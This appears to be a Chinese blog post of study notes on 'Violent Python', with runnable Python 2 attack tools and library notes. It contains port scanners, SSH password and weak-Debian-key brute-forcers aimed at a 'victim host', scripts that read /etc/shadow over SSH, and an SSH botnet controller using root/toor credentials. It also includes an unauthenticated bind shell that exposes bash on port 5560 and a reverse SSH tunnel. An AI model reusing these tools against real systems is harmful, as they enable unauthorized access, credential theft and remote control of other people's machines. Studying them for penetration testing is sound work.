文章目录
端口扫描(socket版)
import optparse
from socket import *
from threading import *
screenLock = Semaphore(value=1) #可以使用Lock()
def connScan(tgtHost, tgtPort):
try:
connSkt = socket(AF_INET, SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n')
results = connSkt.recv(100)
screenLock.acquire()
print '[+]%d/tcp open'% tgtPort
print '[+] ' + str(results)
except:
screenLock.acquire()
print '[-]%d/tcp closed'% tgtPort
finally:
screenLock.release()
connSkt.close()
def portScan(tgtHost, tgtPorts):
try:
tgtIP = gethostbyname(tgtHost)
except:
print "[-] Cannot resolve '%s': Unknown host"%tgtHost
return
try:
tgtName = gethostbyaddr(tgtIP)
print '\n[+] Scan Results for: ' + tgtName[0]
except:
print '\n[+] Scan Results for: ' + tgtIP
setdefaulttimeout(1)
for tgtPort in tgtPorts:
t = Thread(target=connScan, args=(tgtHost, int(tgtPort)))
t.start()
def main():
parser = optparse.OptionParser('usage%prog '+\
'-H <target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-p', dest='tgtPort', type='string', \
help='specify target port[s] separated by comma')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(', ')
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
exit(0)
portScan(tgtHost, tgtPorts)
if __name__ == "__main__":
main()
端口扫描(nmap版)
import nmap
import optparse
def nmapScan(tgtHost, tgtPort):
nmScan = nmap.PortScanner()
nmScan.scan(tgtHost, tgtPort)
state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
print " [*] " + tgtHost + " tcp/"+tgtPort +" "+state
def main():
parser = optparse.OptionParser('usage%prog '+\
'-H <target host> -p <target port>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-p', dest='tgtPort', type='string', \
help='specify target port[s] separated by comma')
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPorts = str(options.tgtPort).split(', ')
if (tgtHost == None) | (tgtPorts[0] == None):
print parser.usage
exit(0)
for tgtPort in tgtPorts:
nmapScan(tgtHost, tgtPort)
if __name__ == '__main__':
main()
SSH连接交互(pexpect版)
import pexpect
PROMPT = ['# ', '>>> ', '> ', '\$ ']
def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
print child.before
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting'
connStr = 'ssh ' + user + '@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, ssh_newkey, \
'[P|p]assword:'])
if ret == 0:
print '[-] Error Connecting'
return
if ret == 1:
child.sendline('yes')
ret = child.expect([pexpect.TIMEOUT, \
'[P|p]assword:'])
if ret == 0:
print '[-] Error Connecting'
return
child.sendline(password)
child.expect(PROMPT)
return child
def main():
host = 'localhost'
user = 'root'
password = 'toor'
child = connect(user, host, password)
send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
main()
SSH连接交互(pxssh版)
from pexpect import pxssh #与原书代码此处有差别
def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print s.before
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
return s
except:
print '[-] Error Connecting'
exit(0)
s = connect('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')
SSH密码破解(pxssh版)
原书代码:
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)#决定了最多同时开启5个线程
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found:' + password
Found = True
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog'+\
'-H <target host> -u <user> -F <password list>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', \
help='specify password file')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found:
print "[*] Exiting: Password Found"
exit(0)
if Fails > 5:
print "[!] Exiting: Too Many Socket Timeouts"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Thread(target=connect, args=(host, user, password, True))
t.start()
if __name__ == '__main__':
main()
上诉代码在网络阻塞的情况下会一直递归调用connect方法无法停止,改进版如下:
from pexpect import pxssh
import optparse
import time
from threading import *
import sys
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = Event()
Fails = 0
Fails1= 0
def connect(host, user, password, release):
global Fails
global Fails1
if Fails > 5 or Fails1 > 5:
print "[!] Exiting: Too Many Socket Timeouts"
if release:
connection_lock.release()
return
try:
s = pxssh.pxssh()
s.login(host, user, password)
print '[+] Password Found:' + password
Found.set()
except Exception, e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
Fails1 += 1
time.sleep(1)
connect(host, user, password, False)
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%s'%sys.argv[0]+\
'-H <target host> -u <user> -F <password list>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', \
help='specify password file')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print parser.usage
exit(0)
fn = open(passwdFile, 'r')
for line in fn.readlines():
if Found.is_set():
print "[*] Exiting: Password Found"
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print "[-] Testing: "+str(password)
t = Thread(target=connect, args=(host, user, password, True))
t.start()
if __name__ == '__main__':
main()
SSH弱私钥暴破
漏洞说明
影响范围:
- 时间:September 2006 - May 13th, 2008
- 系统:Debian
代码(exploitdb版)
import Queue
import os
import string
import time
from threading import Thread
import sys
#This class only has a boolean, which will be True if some thread find the key
class End():
def __init__(self):
self.end = False
def Finish(self):
self.end = True
def GetEnd(self):
return self.end
#This is the thread class
class Connection(Thread):
def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'):
Thread.__init__(self)
self.QueueDir = QueueDir
self.TheEnd = TheEnd
self.dir = dir
self.host = host
self.user = user
self.port = port
def run(self):
while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()):
key = self.QueueDir.get()
cmd = 'ssh -l ' + self.user
cmd = cmd + ' -p ' + self.port
cmd = cmd + ' -o PasswordAuthentication=no'
cmd = cmd + ' -i ' + self.dir + '/' + key
cmd = cmd + ' ' + self.host + ' exit; echo $?'
pin,pout,perr = os.popen3(cmd, 'r')
pin.close()
#To debug descoment the next line. This will show the errors reported by ssh
#print perr.read()
if pout.read().lstrip().rstrip() == '0':
self.TheEnd.Finish()
print ''
print 'Key Found in file: '+ key
print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host)
print ''
print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org'
if len(sys.argv) < 4:
print './exploit.py <dir> <host> <user> [[port] [threads]]'
print ' <dir>: Path to SSH privatekeys (ex. /home/john/keys) without final slash'
print ' <host>: The victim host'
print ' <user>: The user of the victim host'
print ' [port]: The SSH port of the victim host (default 22)'
print ' [threads]: Number of threads (default 4) Too big numer is bad'
sys.exit(1)
dir = sys.argv[1]
host = sys.argv[2]
user = sys.argv[3]
if len(sys.argv) <= 4:
port='22'
threads=4
else:
if len(sys.argv) <=5:
port=sys.argv[4]
threads = 4
else:
port=sys.argv[4]
threads = sys.argv[5]
ListDir = os.listdir(dir)
QueueDir=Queue.Queue()
TheEnd = End()
for i in range(len(ListDir)):
if ListDir[i].find('.pub') == -1:
QueueDir.put(ListDir[i])
initsize = QueueDir.qsize()
tested = 0
for i in range(0,int(threads)):
Connection(QueueDir,TheEnd,dir,host,user,port).start()
while (not TheEnd.GetEnd()) and (not QueueDir.empty()):
time.sleep(5)
actsize = QueueDir.qsize()
speed = (initsize - tested - actsize)/5
tested = initsize - actsize
print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed)
代码(violent phython版)
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user +'@' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$','#', ])
if ret == 2:
print '[-] Adding Host to ∼/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H '+\
'<target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-d', dest='passDir', type='string', \
help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: '+\
'Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect, args=(user, host, fullpath, True))
child = t.start()
if __name__ == '__main__':
main()
SSH僵尸网络
import optparse
import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception, e:
print e
print '[-] Error Connecting'
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print '[*] Output from ' + client.host
print '[+] ' + output + '\n'
def addClient(host, user, password):
client = Client(host, user, password)
botNet.append(client)
botNet = []
addClient('10.10.10.110', 'root', 'toor')
addClient('10.10.10.120', 'root', 'toor')
addClient('10.10.10.130', 'root', 'toor')
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')
学到的知识
信号量(Semaphore)和有界信号量(BoundedSenaphore)
- 信号量的作用
在多线程编程中多个线程需要协同工具,这就需要信号量来指导线程同步。 - 信号量和有界信号量的使用方式及差别
在Python中信号量类与有界信号量类分别为threading.Semaphore()及threading.BoundedSemaphore(),使用方法及区别如下:
互斥锁
- 信号量的作用
在多线程编程中多线程之间需要互斥的访问资源,因此需要互斥锁来实现这方面的要求。 - 互斥锁的使用
在Python中互斥锁类为threading.Lock(),使用方法如下:
namp模块
- 简介
python-nmap is a python library which helps in using nmap port scanner.
It allows to easilly manipulate nmap scan results and will be a perfect
tool for systems administrators who want to automatize scanning task
and reports. It also supports nmap script outputs.
- 类与方法:
- 所包含的类、属性与方法
- PortScannerAsync类的介绍
- PortScanner类的介绍
- 两个类的差别
PortScannerAsync
import nmap
nma = nmap.PortScannerAsync()
def callback_result(host, scan_result):
print '------------------'
print host, scan_result
nma.scan(hosts='127.0.0.1', arguments='-sV', callback=callback_result)
while nma.still_scanning():
print("Waiting >>>")
nma.wait(2)
PortScanner
import nmap
import pprint
s = nmap.PortScanner()
s.scan(hosts='127.0.0.1', arguments='-sV')
print s.scaninfo()
print 'Done'
3. 其他类似库libnmap
- 主页
- 介绍
libnmap is a python toolkit for manipulating nmap. It currently offers the following modules:
process: enables you to launch nmap scans
parse: enables you to parse nmap reports or scan results (only XML so far) from a file, a string,…
report: enables you to manipulate a parsed scan result and de/serialize scan results in a json format
diff: enables you to see what changed between two scans
objects: contains basic nmap objects like NmapHost and NmapService. It is to note that each object can be “diff()ed” with another similar object.
report: contains NmapReport class definition
host: contains NmapHost class definition
service: contains NmapService class definition
os: contains NmapOSFingerprint class definition and some other classes like NmapOSMatch, NmapOSClass,…
cpe: contains CPE class defdinition
plugins: enables you to support datastores for your scan results directly in the “NmapReport” object from report module
mongodb: only plugin implemented so far, ultra basic, for POC purpose only
sqlalchemy: Allow to store/retreive NmapReport to sqlite/mysql/… all engine supported by sqlalchemy
rabbitMQ : todo
couchdb: todo
elastic search: todo
csv: todo
- 列子(解析nmap扫描结果)
#-*- coding:utf-8 -*-
from libnmap.parser import NmapParser #导入相关模块
import getopt
import sys
#设置全局变量用于接受解析到的参数
summary = False
port = ''
os = ''
file_path=''
#参数解析
options,useless = getopt.getopt(sys.argv[1:],'f:sp:o:')
for i in options:
if i[0] == '-s':
summary = True
elif i[0] == '-p':
port = i[1]
elif i[0] == '-f':
file_path = i[1]
else:
os = i[1]
report = NmapParser.parse_fromfile(file_path) #解析数据
#操作系统:主机信息字典
system_map={}
#端口:主机信息字典
service_map={}
#遍历解析结果中的主机
for host in report.hosts:
if len(host.os_class_probabilities()): #判断主机的操作系统
osfamily = host.os_class_probabilities()[0].osfamily
if system_map.has_key(osfamily): #填充字典
system_map[osfamily].append(osfamily+'\t'+host.os_class_probabilities()[0].osgen+'\t'+host.address)
else:
system_map[osfamily] = []
system_map[osfamily].append(osfamily+'\t'+host.os_class_probabilities()[0].osgen+'\t'+host.address)
for serv in host.services: #遍历主机开启的服务
key = str(serv.port)
if service_map.has_key(key): #填充字典
service_map[key].append(str(serv.port)+'\t'+host.address+'\t'+serv.protocol+'\t\t'+serv.state+'\t'+serv.service)
else:
service_map[key] = []
service_map[key].append(str(serv.port)+'\t'+host.address+'\t'+serv.protocol+'\t\t'+serv.state+'\t'+serv.service)
def get_summary():
print '-----------------------------------------summary---------------------------------------------'
print ' Total host:%d '%report.hosts_total
print ' Hosts is up:%d '%report.hosts_up
print ' Hosts is down:%d '%report.hosts_down
for i in system_map.keys():
print ' %d hosts is %s '%(len(system_map[i]),i)
for i in service_map.keys():
print ' %d hosts opened %s '%(len(service_map[i]),i)
print '\n\n'
def get_port():
print '-----------------------------------------port summary---------------------------------------------'
print 'port\taddress\t\tprotocol\tstate\tservice'
if service_map.has_key(port):
for i in service_map[port]:
print i
print '\n\n'
def get_os():
print '-----------------------------------------os summary---------------------------------------------'
print 'os\tosgen\tadress'
if system_map.has_key(os):
for i in system_map[os]:
print i
print '\n\n'
if summary:
get_summary()
if port:
get_port()
if os:
get_os()
pexpect模块
- 简介
Pexpect is a Python module for spawning child applications and controlling
them automatically. Pexpect can be used for automating interactive applications
such as ssh, ftp, passwd, telnet, etc. It can be used to a automate setup
scripts for duplicating software package installations on different servers. It
can be used for automated software testing. Pexpect is in the spirit of Don
Libes’ Expect, but Pexpect is pure Python. Other Expect-like modules for Python
require TCL and Expect or require C extensions to be compiled. Pexpect does not
use C, Expect, or TCL extensions. It should work on any platform that supports
the standard Python pty module. The Pexpect interface focuses on ease of use so
that simple tasks are easy.
There are two main interfaces to the Pexpect system; these are the function,
run() and the class, spawn. The spawn class is more powerful. The run()
function is simpler than spawn, and is good for quickly calling program. When
you call the run() function it executes a given program and then returns the
output. This is a handy replacement for os.system().
- 最大的特点就是可以更好的处理交互
- 应用(交互式shell)
import pexpect
import socket
import threading
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0',5560))
server.listen(5)
def getpromat():
child = pexpect.spawn('/bin/bash')
child.expect(' ')
return child
def commcmd(cmd,child,promat):
child.sendline(cmd)
child.expect(cmd)
child.expect("%s.*"%promat)
def process(clien,adress):
child = getpromat()
init_promat = child.before
promat = init_promat.split(':')[0]
clien.sendall(init_promat)
while True:
cmd = clien.recv(1000).strip('\r').strip('\n')
print "Received "+ cmd
if cmd == 'quit':
clien.sendall("Exit.....")
clien.close()
break
commcmd(cmd,child,promat)
clien.sendall(child.before)
clien.sendall(child.after)
while True:
client,adress = server.accept()
t = threading.Thread(target=process,args=(client,adress))
t.start()
效果如下图:
参考:
API
探索 Pexpect,第 1 部分:剖析 Pexpect
探索 Pexpect,第 2 部分:Pexpect 的实例分析
4. 联想到paramiko
- 介绍
Paramiko is a Python (2.7, 3.4+) implementation of the SSHv2 protocol [1], providing both client and server functionality. While it leverages a Python C extension for low level cryptography (Cryptography), Paramiko itself is a pure Python interface around SSH networking concepts.
- 实例(反向TCP端口转发)
# -*- encoding:utf-8 -*-
import getpass
import socket
import select
import sys
import threading
import argparse
import paramiko
SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True
def handler(chan,host,port):
sock = socket.socket()
try:
sock.connect((host,port))
except Exception as e:
verbose('Forwarding request to %s:%d failed: %r'%(host,port,e))
return
verbose('Connected! Tunnel open %r->%r->%r' % (chan.origin_addr,chan.getpeername(),str((host,port))))
while True:
r,w,x=select.select([sock,chan],[],[])
if sock in r:
data = sock.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
sock.send(data)
chan.close()
sock.close()
verbose('Tunnel closed from %r' % (chan.origin_addr,))
def reverse_forward_tunnel(server_port,remote_host,remote_port,transport):
transport.request_port_forward('',server_port)
while True:
chan = transport.accept(1000)
if chan is None:
continue
thr = threading.Thread(target=handler,args=(chan,remote_host,remote_port))
thr.daemon = True
thr.start()
def verbose(s):
if g_verbose:
print(s)
HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option."""
def get_host_port(spec,default_port):
"""Parse 'hostnaem:22' into a host and port,with the port optional"""
args = (spec.split(':',1)+[default_port])[:2]
args[1] = int(args[1])
return (args[0],args[1])
def parse_options():
global g_verbose
parser = argparse.ArgumentParser(usage="usage:%(prog)s[options]<ssh-server>[:<server-port>]",description=HELP)
parser.add_argument('-q','--quiet',action='store_false',dest='verbose',default=True,
help='squelch all information output')
parser.add_argument('-p','--remote-port',action='store',type=int,dest='port',
default=DEFAULT_PORT,
help='port on server to forward (default:%d)' % DEFAULT_PORT)
parser.add_argument('-u','--user',action='store',type=str,dest='user',
default=getpass.getuser(),
help='username for SSH authentication (default:%s)'%getpass.getuser())
parser.add_argument('-K','--key',action='store',type=str,dest='keyfile',
default=None,
help="private key file to use for SSH authentication")
parser.add_argument('-N','--no-key',action='store_false',dest='look_for_keys',default=True,
help="don't look for or use a private key file")
parser.add_argument('-P','--password',action='store_true',dest='readpass',default=False,
help='read password (for key or password auth) from stdin')
parser.add_argument('-r','--remote',action='store',type=str,dest='remote',default=None,
metavar='host:post',
help='remote host and port to forward to')
options,args = parser.parse_known_args('172.16.3.45 -p 9000 -r 172.16.3.43:80 --user root --password'.split())
if len(args) != 1:
parser.error('Incorrect number of arguments.')
if options.remote is None:
parser.error('Remote address required (-r).')
g_verbose = options.verbose
server_host,server_port = get_host_port(args[0],SSH_PORT)
remote_host,remote_port = get_host_port(options.remote,SSH_PORT)
return options,(server_host,server_port),(remote_host,remote_port)
def main():
options,server,remote = parse_options()
password = None
if options.readpass:
password = getpass.getpass('Enter SSH password:')
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose('Connecting to ssh host %s:%d...' % (server[0],server[1]))
try:
client.connect(server[0],server[1],username=options.user,key_filename=options.keyfile,
look_for_keys=options.look_for_keys,password=password)
except Exception as e:
print("***Falied to connect to %s:%d :%r" % (server[0],server[1],e))
sys.exit(1)
verbose('Now forwarding remote port %d to %s:%d...'%(options.port,remote[0],remote[1]))
try:
reverse_forward_tunnel(options.port,remote[0],remote[1],client.get_transport())
except KeyboardInterrupt:
print("C-c:Port forwarding stopped.")
sys.exit(0)
if __name__ == '__main__':
main()
- 理解
SSH建立过程及响应代码
下图是对应于上述程序的五元组建立过程。